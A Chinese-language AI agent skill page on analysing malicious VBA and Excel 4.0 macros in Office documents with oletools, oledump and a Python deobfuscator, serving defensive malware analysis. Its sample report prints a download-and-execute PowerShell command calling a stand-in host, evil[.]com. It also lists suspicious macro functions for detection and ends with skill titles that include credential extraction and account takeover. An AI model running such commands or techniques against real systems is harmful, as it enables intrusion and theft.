Communitygithub.com

分析Office文档中的宏恶意软件

分析嵌入在Microsoft Office文档中的恶意VBA宏。

分析Office文档中的宏恶意软件 是什么?

该技能专门用于分析嵌入在Microsoft Office文档(如.doc、.docm、.xls、.xlsm、.ppt)中的恶意VBA宏。它适用于调查通过钓鱼邮件分发的武器化文档、提取宏代码以识别载荷下载URL和执行方法、分析混淆代码以还原完整攻击链,以及判断文档是否使用DDE、ActiveX或远程模板注入等其他攻击向量。技能基于oletools、oledump.py等Python工具,在隔离的虚拟机中执行。工作流程包括文档初始分类、VBA/XLM宏提取与反混淆、非宏攻击向量检测,并生成包含IoC、MITRE ATT&CK技术等信息的详细分析报告。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-macro-malware-in-office-documents

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

分析Office文档中的宏恶意软件 是做什么的?

适用场景

  • 可疑的Office文档(.doc, .docm, .xls, .xlsm, .ppt)被邮件安全系统标记
  • 调查利用武器化Office文档的钓鱼攻击活动
  • 提取VBA宏代码以识别载荷下载URL和执行方法
  • 分析混淆的VBA代码以还原完整攻击链
  • 判断文档是否使用DDE、ActiveX或远程模板注入代替宏

请勿用于分析非宏的Office威胁(DDE、远程模板注入);本技能虽涵盖对这些攻击方式的检测,但可能需要专门的分析方法。

前提条件

  • Python 3.8+ 并安装oletools(pip install oletools)
  • Didier Stevens的oledump.py(https://blog.didierstevens.com/programs/oledump-py/)
  • 隔离的分析虚拟机(无需安装Microsoft Office,防止意外执行)
  • 用于Excel 4.0宏分析的XLMDeobfuscator(pip install xlmdeobfuscator)
  • 用于安全渲染文档的LibreOffice(默认不执行VBA宏)

工作流程

第一步:文档初筛

确定文档是否包含宏或其他活动内容:

# 使用olevba快速初筛
olevba suspect.docm

# 检查OLE流和宏
oleid suspect.docm

# 输出指标:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (远程模板)
# ObjectPool:        True/False (嵌入对象)
# Flash:             True/False (SWF对象)

# 全面的OLE分析
oledump.py suspect.docm

# 列出所有包含宏指示符的OLE流
# 标记为'M'的流包含VBA宏
# 标记为'm'的流包含宏属性

第二步:提取并分析VBA代码

提取完整的VBA宏源码:

# 提取VBA并执行完整反混淆
olevba --decode --deobf suspect.docm

# 仅提取VBA源代码
olevba --code suspect.docm > extracted_vba.txt

# 使用oledump进行详细提取
oledump.py -s 8 -v suspect.docm  # 流编号8(根据流列表调整)

# 提取所有宏流
oledump.py -p plugin_vba_dco suspect.docm
需识别的关键VBA元素:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
自动执行触发器:
  - Auto_Open / AutoOpen(Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open(Excel)
  - AutoExec

可疑函数:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - PowerShell执行
  - URLDownloadToFile
  - MSXML2.XMLHTTP(HTTP请求)
  - ADODB.Stream(文件写入)
  - Environ()(环境变量)
  - CallByName(间接方法调用)

第三步:反混淆VBA代码

移除混淆层以揭示载荷:

# VBA反混淆技术
import re

def deobfuscate_vba(code):
    # 1. 解析Chr()调用:Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. 移除字符串拼接:"htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. 解析ChrW调用:ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. 解析StrReverse:StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)

    # 5. 移除Mid$/Left$/Right$混淆(复杂,标记为手动审查)

    # 6. 解析Replace():Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

第四步:分析Excel 4.0(XLM)宏

处理绕过VBA检测的旧版Excel宏:

# 检测XLM宏
olevba --xlm suspect.xlsm

# 反混淆XLM宏
xlmdeobfuscator -f suspect.xlsm

# 使用oledump手动分析XLM
oledump.py suspect.xlsm -p plugin_biff.py

# 需要关注的XLM(Excel 4.0)宏函数:
# EXEC()       - 执行shell命令
# CALL()       - 调用DLL函数
# REGISTER()   - 注册DLL函数
# URLDownloadToFileA - 下载文件
# ALERT()      - 显示消息(社会工程)
# HALT()       - 停止执行
# GOTO()       - 控制流
# IF()         - 条件执行

第五步:检查非宏攻击向量

检查文档中的DDE、远程模板和嵌入对象:

# 检查DDE(动态数据交换)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # DDE域代码
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] 在{name}中发现DDE')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    命令: {m}')
        # 远程模板
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] 远程模板URL: {url}')
"

# 检查嵌入的OLE对象
oledump.py -p plugin_msg.py suspect.docm

# 检查关系中的外部引用
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'在{name}中发现外部引用:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

第六步:生成分析报告

记录完整的宏恶意软件分析结果:

报告应包括:
- 文档元数据(作者、创建日期、修改日期)
- 宏存在情况和类型(VBA、XLM、DDE、远程模板)
- 已识别的自动执行触发器
- 反混淆后的VBA源代码(关键函数)
- 第二阶段载荷的下载URL
- 执行方法(Shell、WScript、PowerShell、COM对象)
- 社会工程诱饵描述
- 提取的IoC(URL、域名、IP、文件哈希)
- 针对特定文档模式的YARA规则

关键概念

术语定义
VBA宏嵌入在Office文档中的Visual Basic for Applications代码,可与操作系统交互、下载文件并执行命令
Auto_OpenWord文档打开时自动执行的VBA事件过程,是宏恶意软件的主要触发器
OLE(对象链接与嵌入)Microsoft复合文档格式;Office文档是包含可含宏和对象的流的OLE容器
DDE(动态数据交换)遗留的Windows进程间通信机制,在文档中被滥用为无需宏即可执行命令;由域代码更新触发
远程模板注入文档打开时从远程URL加载启用宏的模板的攻击方式,可绕过初始宏检测
XLM宏(Excel 4.0)早于VBA的遗留Excel宏语言;存储在隐藏工作表中,常被传统VBA分析工具遗漏
受保护视图Office沙箱,在用户点击“启用内容”之前阻止宏执行;社会工程学攻击会针对这一屏障

工具与系统

  • oletools (olevba):用于分析OLE文件、提取VBA宏以及检测可疑关键字和IoC的Python工具包
  • oledump.py:Didier Stevens的工具,用于分析OLE流,支持VBA解压和提取的插件
  • XLMDeobfuscator:专门用于反混淆Excel 4.0 (XLM) 宏公式的工具
  • ViperMonkey:VBA仿真引擎,可在沙盒环境中执行VBA宏以观察行为
  • YARA:基于VBA字符串模式和OLE结构指标进行文档恶意软件检测的模式匹配工具

常见场景

场景:分析带有混淆VBA宏的钓鱼文档

背景:多名员工收到一封电子邮件,附件为声称是发票的.docm文件。该文档提示用户“启用内容”以查看完整文档。

方法:

  1. 运行oleid确认存在VBA宏并识别自动执行触发器
  2. 使用olevba --decode --deobf提取VBA代码进行初步反混淆
  3. 识别自动执行入口点(Auto_Open或Document_Open)
  4. 从入口点追踪执行流,经过辅助函数
  5. 反混淆字符串拼接和Chr()编码以揭示下载URL
  6. 识别下载方法(WScript.Shell、MSXML2.XMLHTTP、PowerShell)
  7. 提取所有IoC并针对特定混淆模式创建YARA规则

陷阱:

  • 在Microsoft Office中打开文档进行“快速分析”,而不是使用命令行工具
  • 遗漏存储在UserForms中的VBA代码(GUI元素的事件处理程序可能包含代码)
  • 忽略可能包含攻击者指纹的文档元数据(作者名称、模板名称)
  • 未在同一文档中检查VBA和XLM宏(某些恶意软件同时使用两者)

输出格式

OFFICE宏恶意软件分析
================================
文档:             invoice_q3_2025.docm
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
文件类型:          Microsoft Word文档(启用宏的OOXML)
作者:             Administrator
创建日期:         2025-09-10 14:23:00

宏分析
类型:             VBA宏
触发器:          AutoOpen()
流:               3个VBA流(ThisDocument, Module1, Module2)

反混淆后的执行链
1. AutoOpen() -> 调用Module1.RunPayload()
2. RunPayload()通过Chr()拼接构建命令字符串
3. 命令:powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. 解码后:IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

社会工程诱饵
- 文档显示虚假的“受保护文档”图像
- 指示用户“启用内容”以查看文档
- 内容在宏执行前被模糊/隐藏

提取的IoC
下载URL:     hxxp://evil[.]com/payload.ps1
C2域名:        evil[.]com
IP地址:       185.220.101[.]42
用户代理:       PowerShell(默认WebClient)

MITRE ATT&CK
T1566.001  钓鱼:鱼叉式钓鱼附件
T1204.002  用户执行:恶意文件
T1059.001  命令和脚本解释器:PowerShell
T1059.005  命令和脚本解释器:Visual Basic

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能